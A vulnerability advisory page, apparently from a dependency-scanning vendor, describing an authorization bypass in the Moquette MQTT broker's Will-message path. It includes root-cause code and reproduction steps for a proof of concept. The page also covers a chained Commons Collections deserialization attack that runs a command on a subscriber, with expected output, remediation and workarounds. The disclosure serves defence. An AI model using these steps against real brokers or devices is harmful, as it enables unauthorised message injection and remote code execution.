NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
☕
☕ Maven
Not in CISA KEV
HIGH severity

CVE-2026-85058 — moquette-broker

HIGHFix: moquette-io/moquette@e23df01

CVE-2026-85058 is a high-severity (CVSS 7.5) CWE-862 vulnerability in io.moquette:moquette-broker. A fix is available for io.moquette:moquette-broker — see the affected versions and patch details below.

Moquette: Missing Authorization in io.moquette:moquette-broker

Also known asGHSA-9jjc-fw8x-fmwx
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 2, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-85058.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs39th percentile — riskier than 39% of all scored CVEsHighest risk
0.00%0.32%0.63%0.95%0.5%0.5%0.5%Oct 26Nov 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
☕io.moquette:moquette-broker

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Moquette MQTT Broker fails to enforce ACL write permission checks when publishing Will (Last Will and Testament) messages on behalf of disconnected clients. All normal PUBLISH paths (receivedPublishQos0, receivedPublishQos1, receivedPublishQos2) correctly invoke authorizator.canWrite() before publishing, but the Will message publishing path (fireWill() → publishWill() → publish2Subscribers()) completely bypasses this authorization check.

This allows an unauthenticated attacker (when allow_anonymous=true, which is the default) to inject arbitrary messages into any ACL-protected topic by setting a restricted topic as the Will Topic in the CONNECT packet and then disconnecting abruptly via TCP RST.

Other major MQTT Broker implementations (Mosquitto, EMQX, HiveMQ) correctly enforce ACL checks on Will messages, confirming this is a bug, not a design choice.

Details

In the MQTT protocol, a client can declare a "Will" topic and message in the CONNECT packet. When the client disconnects abnormally (without sending a DISCONNECT packet), the Broker publishes the Will message on behalf of the client. Although the Will message content (topic and payload) is entirely controlled by the connecting client — making it functionally equivalent to a PUBLISH — Moquette skips the ACL check for this path.

Root Cause

File: broker/src/main/java/io/moquette/broker/PostOffice.java (v0.18.0)

Will publishing path (lines 286-328) — no canWrite() check:

public void fireWill(Session bindedSession) {
    final ISessionsRepository.Will will = bindedSession.getWill();
    if (will.delayInterval == 0) {
        publishWill(will);  // No canWrite() check!
    } else {
        trackWillSpecificationForFutureFire(...);
    }
}

private void publishWill(ISessionsRepository.Will will) {
    // ... build message ...
    publish2Subscribers(WILL_PUBLISKER, messageExpiryInstant, willPublishMessage);
    // No canWrite() check!
}

Normal PUBLISH path (line 641) — has canWrite() check:

if (!authorizator.canWrite(topic, username, clientID)) {
    LOG.error("client is not authorized to publish on topic: {}", topic);
    return;
}

Additionally, SessionRegistry.createNewWill() (line 408-428) stores the Will topic from the CONNECT packet without any canWrite() pre-check. The fireWill()/publishWill() method is the only publishing path that does not invoke authorizator.canWrite(), creating a complete authorization bypass.

Prerequisites

ConditionWho controlsDefault?Notes
Attacker can establish MQTT connection to BrokerEnvironmentYesallow_anonymous defaults to true
Broker has ACL restricting topic write accessApplicationNoOnly deployments with ACL configured have "bypass" significance, but this is a normal security deployment
Client disconnects abnormally (TCP RST, not DISCONNECT)AttackerYesAttacker simply closes the TCP connection

PoC

Verified against Moquette Broker v0.18.0 (latest release as of 2024-12-27). All scripts are included in the attached GitHub_Advisory_POC.zip. GitHub_Advisory_POC.zip

Environment Setup

Step 1: Download Moquette Broker v0.18.0

Download the official release bundle from GitHub and extract:

curl -L -o /tmp/moquette-0.18-bundle.tar.gz "https://github.com/moquette-io/moquette/releases/download/v0.18.0/distribution-0.18-bundle.tar.gz"
mkdir -p /tmp/moquette-0.18
tar xzf /tmp/moquette-0.18-bundle.tar.gz -C /tmp/moquette-0.18

Step 2: Configure ACL rules

Replace /tmp/moquette-0.18/config/acl.conf with the provided acl.conf (from POC zip), which contains:

# acl.conf - restrict write access to restricted/topic
topic write allowed/topic
topic read restricted/topic

Note: Must use topic rules (not pattern rules). Moquette's AuthorizationsCollector.canDoOperation() skips pattern rules when username is null (anonymous users), because isNotEmpty(null) returns false.

Edit /tmp/moquette-0.18/config/moquette.conf to ensure ACL is enabled. Use the provided moquette.conf (from POC zip) as reference:

# moquette.conf
port 1883
host 0.0.0.0
allow_anonymous true
acl_file config/acl.conf

Step 3: Download dependency and compile POC scripts

Download commons-collections-3.2.1.jar (required by CC6 deserialization chain) and compile the POC Java sources (all from POC zip):

# Download commons-collections (required for CC6 RCE POC only)
# Place commons-collections-3.2.1.jar in /tmp/

# Compile POC scripts
cd /tmp
javac -cp /tmp/commons-collections-3.2.1.jar CC6PayloadGen.java          # CC6 deserialization payload generator
javac -cp /tmp/commons-collections-3.2.1.jar AttackerCC6_v018.java       # Attacker-side full POC (Will bypass + CC6 RCE)
javac MqttDeviceService_v018.java                                         # Victim-side IoT subscriber service

Scripts overview:

ScriptLanguagePurpose
poc_will_bypass.pyPythonLightweight Will ACL bypass verification (no Java/deserialization dependency)
AttackerCC6_v018.javaJavaFull attacker POC: generates CC6 payload, verifies ACL blocks direct PUBLISH, bypasses ACL via Will, verifies victim-side RCE
CC6PayloadGen.javaJavaCC6 deserialization payload generator (dependency of AttackerCC6_v018)
MqttDeviceService_v018.javaJavaVictim-side IoT device subscriber — subscribes to restricted/topic, deserializes received messages via ObjectInputStream.readObject()
MoquetteWillAclBypassPoc.javaJavaStandalone pure-Java POC for v0.15 (no external dependencies, verifies Will ACL bypass only)
acl.confConfigACL rules — restricted/topic read-only, no write
moquette.confConfigBroker configuration — enables ACL, allows anonymous

Reproduction — Will ACL Bypass Only (Python, no dependencies)

This verifies the core vulnerability: Will message bypasses ACL. Uses poc_will_bypass.py.

Terminal 1 — Start the Broker (using Moquette's built-in main class io.moquette.broker.Server):

cd /tmp/moquette-0.18 && java -cp 'lib/*:lib' io.moquette.broker.Server

Wait for "Server started" log.

Terminal 2 — Run POC:

python3 poc_will_bypass.py

This script automatically performs:

  1. Subscriber connects and subscribes to restricted/topic
  2. Verifies direct PUBLISH to restricted/topic is blocked by ACL
  3. Attacker connects with Will Topic=restricted/topic, then RST-disconnects
  4. Checks if subscriber received the Will message on the restricted topic

Expected output:

[Step 1] Direct PUBLISH to restricted/topic (should be blocked)
  [+] No message - ACL blocking direct PUBLISH (expected)

[Step 2] Will ACL Bypass on v0.18.0
  SUBACK: 9003000100
  Attacker connected, Will set to 'restricted/topic'
  RST disconnecting attacker...
  [!!!] WILL MESSAGE RECEIVED on restricted/topic!
  [!!!] VULNERABILITY CONFIRMED on Moquette v0.18.0!

Reproduction — Full RCE Chain (Will Bypass + CC6 Deserialization)

This demonstrates the real-world impact: Will bypass + Java deserialization = Remote Code Execution. Uses AttackerCC6_v018.java, CC6PayloadGen.java, and MqttDeviceService_v018.java.

Terminal 1 — Start the Broker (using Moquette's built-in main class io.moquette.broker.Server):

cd /tmp/moquette-0.18 && java -cp 'lib/*:lib' io.moquette.broker.Server

Wait for "Server started" log.

Terminal 2 — Start victim subscriber (MqttDeviceService_v018.java):

cd /tmp && java -cp .:/tmp/commons-collections-3.2.1.jar MqttDeviceService_v018 localhost 1883

This simulates an IoT device that subscribes to restricted/topic and deserializes received messages via ObjectInputStream.readObject(). Wait for:

[等待中]   等待管理平台下发指令...

Terminal 3 — Run attacker POC (AttackerCC6_v018.java):

cd /tmp && java -cp .:/tmp/commons-collections-3.2.1.jar AttackerCC6_v018 localhost 1883

This script automatically performs:

  1. Generate CC6 payload — uses CC6PayloadGen.java to create a Commons Collections CC6 deserialization chain that executes touch /tmp/pwned_by_will_bypass_<timestamp>
  2. Verify direct PUBLISH is blocked — attempts PUBLISH to restricted/topic, confirms ACL blocks it
  3. Bypass ACL via Will — CONNECT with Will Topic=restricted/topic, Will Message=CC6 serialized payload, then RST disconnect
  4. Verify victim-side RCE — checks if /tmp/pwned_by_will_bypass_<timestamp> file was created on the victim

Key verification point: Java CC6 chain triggers exec once during HashMap.put() when constructing the payload (a known CC6 artifact). The POC deletes this file before the Will bypass step, then verifies the file is re-created by the victim's readObject(), confirming the RCE is on the victim side, not a POC construction side-effect.

Expected attacker output (Terminal 3):

=== 攻击者 (CC6原生反序列化链) - Moquette v0.18.0 ===
[1] 生成CC6反序列化payload...
    payload长度: 1189 字节
[2] 直接PUBLISH到restricted topic (应被ACL拦截)...
    已发送
[3] 通过Will消息绕过ACL...
    已连接,Will Topic=restricted/topic
    Will Payload=CC6序列化数据(1189字节)
    RST断开连接...
    已断开,Will消息绕过ACL投递成功
[4] 验证受害者端RCE:
    -rw-r--r-- 1 fire fire 0 ... /tmp/pwned_by_will_bypass_XXXXXXXXXXXXX
    *** RCE成功! Will消息绕过ACL投递CC6 payload,受害者readObject()触发命令执行! ***

Expected victim output (Terminal 2):

[收到消息] MQTT消息到达,长度=1189字节
[反序列化] 正在执行 ObjectInputStream.readObject() ...
[反序列化] 完成,对象类型: java.util.HashMap

Impact

  • Authorization Bypass: Attacker can inject arbitrary messages into any ACL-restricted topic, completely undermining the Broker's access control
  • Remote Code Execution: When subscribers deserialize MQTT message payloads (e.g., using Java ObjectInputStream.readObject()), attacker can inject deserialization gadgets (e.g., Commons Collections CC6 chain) to achieve RCE
  • Affected scope: All IoT/messaging middleware scenarios using Moquette as MQTT Broker with ACL enabled
MetricValueRationale
Attack VectorNetworkMQTT Broker listens on TCP port, network-reachable
Attack ComplexityLowStandard MQTT CONNECT + TCP RST, no special conditions needed
Privileges RequiredNoneallow_anonymous defaults to true
User InteractionNoneFully automated attack
ScopeUnchangedImpact limited to Broker's security domain
ConfidentialityNoneNo data disclosure
IntegrityHighACL write protection completely bypassed
AvailabilityNoneNo service disruption
GitHub_Advisory_POC.zip

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
☕Mavenio.moquette:moquette-brokerall versions0.18.1io.moquette:moquette-broker:0.18.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.moquette:moquette-broker, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update io.moquette:moquette-broker to 0.18.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-85058 is resolved across your whole dependency graph.

  3. Workarounds

    Do not deserialise data from untrusted sources: where the format allows it, restrict deserialisation to an explicit allowlist of expected types, and prefer a data-only format (JSON, Protobuf) over one that can reconstruct arbitrary objects until you can upgrade.

Frequently Asked Questions

## Summary Moquette MQTT Broker fails to enforce ACL write permission checks when publishing Will (Last Will and Testament) messages on behalf of disconnected clients. All normal PUBLISH paths (`receivedPublishQos0`, `receivedPublishQos1`, `receivedPublishQos2`) correctly invoke `authorizator.canWrite()` before publishing, but the Will message publishing path (`fireWill()` → `publishWill()` → `publish2Subscribers()`) completely bypasses this authorization check. This allows an unauthenticated attacker (when `allow_anonymous=true`, which is the default) to inject arbitrary messages into any A
O3 Security · Impact-Aware SCA

Is CVE-2026-85058 in your dependencies?

Find it across Maven, including transitive dependencies.

CVE-2026-85058: moquette-broker RCE — Fixed in 0.18.1